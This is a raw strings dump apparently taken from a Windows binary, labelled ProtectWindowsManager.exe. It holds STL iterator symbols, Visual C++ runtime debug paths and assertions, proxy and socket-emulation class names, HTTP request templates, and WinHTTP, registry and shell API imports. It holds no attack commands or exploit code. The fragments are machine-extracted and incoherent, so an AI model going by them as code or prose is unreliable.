std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator

std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator

-std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator --

-std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator *

=std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<class INetworkInterfaceEvents *,class std::allocator<class INetworkInterfaceEvents *> > >::operator

std::_List_const_iterator<class std::_List_val<class INetworkInterfaceEvents *,class std::allocator<class INetworkInterfaceEvents *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class INetworkInterfaceEvents *,class std::allocator<class INetworkInterfaceEvents *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator

std::_Deque_const_iterator<enum LightXML::ParseState,class std::allocator<enum LightXML::ParseState> >::operator *

std::_Deque_const_iterator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,class std::allocator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::operator *

std::_List_const_iterator<class std::_List_val<class CHttpCacheData *,class std::allocator<class CHttpCacheData *> > >::operator

std::_List_const_iterator<class std::_List_val<class CHttpCacheData *,class std::allocator<class CHttpCacheData *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class CHttpCacheData *,class std::allocator<class CHttpCacheData *> > >::operator *

-std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<class SubjectDataProperty,class std::allocator<class SubjectDataProperty> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator *

std::_List_const_iterator<class std::_List_val<class SubjectDataProperty,class std::allocator<class SubjectDataProperty> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator

std::_List_const_iterator<class std::_List_val<class SubjectDataProperty,class std::allocator<class SubjectDataProperty> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator --

std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator

std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator --

std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator *

std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator

std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator --

std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator *

std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator

std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator --

=f:\dd\vctools\crt_bld\self_x86\crt\src\xstring

f:\dd\vctools\crt_bld\self_x86\crt\src\streambuf

>f:\dd\vctools\crt_bld\self_x86\crt\src\xlocmon

std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator

std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator *

std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator

std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator  =

std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator  =

cf:\dd\vctools\crt_bld\self_x86\crt\src\dbgdel.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\sprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c

_CrtCheckMemory()

_CrtIsValidHeapPointer(pUserData)

_CrtSetDbgFlag

(fNewBits==_CRTDBG_REPORT_FLAG) || ((fNewBits & 0x0ffff & ~(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_CHECK_ALWAYS_DF | _CRTDBG_CHECK_CRT_DF | _CRTDBG_LEAK_CHECK_DF) ) == 0)

_CrtMemCheckpoint

f:\dd\vctools\crt_bld\self_x86\crt\src\printf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fopen.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fread.c

Lf:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c

wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")

memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3)

wcscpy_s(szExeName, 260, L"<program name unknown>")

__crtMessageWindowW

f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c

f:\dd\vctools\crt_bld\self_x86\crt\src\malloc.h

("Corrupted pointer passed to _freea", 0)

f:\dd\vctools\crt_bld\self_x86\crt\src\fclose.c

mscoree.dll

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcpy.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsrchr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\vsprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\gmtime64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbschr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbscmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsncmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsncpy.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcat.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tcscpy_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsstr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strlwr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wcsicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stricmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strnicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\feoferr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fwrite.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mktime64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\sscanf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\loctim64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ftell.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fseek.c

f:\dd\vctools\crt_bld\self_x86\crt\src\access.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fputc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fdopen.c

f:\dd\vctools\crt_bld\self_x86\crt\src\memicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strtol.c

f:\dd\vctools\crt_bld\self_x86\crt\src\bsearch.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stat64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tcsncpy_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\tcscat_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fgets.c

strcpy_s(errmsg, (94 38 2), _get_sys_err_msg(errnum))

.sizeInTChars > 0

f:\dd\vctools\crt_bld\self_x86\crt\src\memmove_s.c

f:\dd\vctools\crt_bld\self_x86\crt\src\xtoa.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strtod.c

f:\dd\vctools\crt_bld\self_x86\crt\src\a_cmp.c

("Invalid MBCS character sequence passed to strftime",0)

("Invalid MBCS character sequence passed into strftime",0)

f:\dd\vctools\crt_bld\self_x86\crt\src\memcpy_s.c

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), error_text)

wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"\n\n")

wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"Runtime Error!\n\nProgram: ")

_NMSG_WRITE

f:\dd\vctools\crt_bld\self_x86\crt\src\crt0msg.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\eh\typname.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c

strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")

strcpy_s(szExeName, 260, "<program name unknown>")

__crtMessageWindowA

f:\dd\vctools\crt_bld\self_x86\crt\src\expand.c

f:\dd\vctools\crt_bld\self_x86\crt\src\localref.c

((ptloci->lc_category[category].wlocale != NULL) && (ptloci->lc_category[category].wrefcount != NULL)) || ((ptloci->lc_category[category].wlocale == NULL) && (ptloci->lc_category[category].wrefcount == NULL))

KERNEL32.DLL

f:\dd\vctools\crt_bld\self_x86\crt\src\isctype.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_open.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_filbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fileno.c

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c

wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")

strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")

_VCrtDbgReportA

strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")

wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")

_VCrtDbgReportW

f:\dd\vctools\crt_bld\self_x86\crt\src\winsig.c

WUSER32.DLL

f:\dd\vctools\crt_bld\self_x86\crt\src\close.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_freebuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbstok_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\strtoq.c

f:\dd\vctools\crt_bld\self_x86\crt\src\intel\fp8.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cvt.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsbtype.c

f:\dd\vctools\crt_bld\self_x86\crt\src\write.c

f:\dd\vctools\crt_bld\self_x86\crt\src\commit.c

f:\dd\vctools\crt_bld\self_x86\crt\src\timeset.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\include\strgtold12.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\lseek.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fstat64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\open.c

0 && "Only UTF-16 little endian & UTF-8 is supported for reads"

f:\dd\vctools\crt_bld\self_x86\crt\src\dtoxtm64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbscspn.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fullpath.c

f:\dd\vctools\crt_bld\self_x86\crt\src\getqloc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\errmode.c

f:\dd\vctools\crt_bld\self_x86\crt\src\lseeki64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\isatty.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wctomb.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbicm.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c

f:\dd\vctools\crt_bld\self_x86\crt\src\vswprint.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbtowc.c

_loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2

f:\dd\vctools\crt_bld\self_x86\crt\src\strtok_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\tran\contrlfp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_fptostr.c

strcpy_s(resultstr, resultsize, autofos.man)

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c

f:\dd\vctools\crt_bld\self_x86\crt\src\getenv.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ungetc_nolock.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\setmode.c

f:\dd\vctools\crt_bld\self_x86\crt\src\getcwd.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\x10fout.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbico.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strnicol.c

("CRT Logic error during setenv",0)

__crtsetenv

-std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator --

\\.\jsdrv1,42,0,1766

stproxy.cpp

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xstring

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\list

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator ==

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\vector

std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator *

std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator *

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xtree

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator --

std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator *

std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator *

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator

std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator *

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator  =

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\algorithm

invalid operator<

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator --

gstd::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator --

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\memory

std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator

1,42,0,1766

ProtectWindowsManager.exe_3356:

.text

`.rdata

@.data

.rsrc

@.reloc

j.Yf;

_tcPVj@

.PjRW

SHELL32.dll

function not supported

operation canceled

address_family_not_supported

operation_in_progress

operation_not_supported

protocol_not_supported

operation_would_block

address family not supported

broken pipe

inappropriate io control operation

not supported

operation in progress

operation not permitted

operation not supported

operation would block

protocol not supported

GetProcessWindowStation

operator

MaxPolicyElementKey

pExecutionResource

SHLWAPI.dll

USERENV.dll

%dYeArdMoNthdDaY

file_url

GET %s%s%s HTTP/1.1

Host: %s

%sUser-Agent: Mozilla/4.0 %s

POST %s HTTP/1.1

%sContent-Type: %s

User-Agent: Mozilla/4.0

Content-Length: %u

%*s %d %*s

%*[ ]%[^

?456789:;<=

!"#$%&'()* ,-./0123

ShellExecuteExW

SHDeleteKeyW

GetWindowsDirectoryA

GetProcessHeap

GetSystemWindowsDirectoryW

KERNEL32.dll

USER32.dll

RegCloseKey

RegOpenKeyExW

RegCreateKeyW

ReportEventW

RegOpenKeyW

ADVAPI32.dll

PSAPI.DLL

InternetCrackUrlW

WININET.dll

WS2_32.dll

WinHttpReceiveResponse

WinHttpSetTimeouts

WinHttpSetOption

WinHttpGetIEProxyConfigForCurrentUser

WinHttpSendRequest

WinHttpWriteData

WinHttpConnect

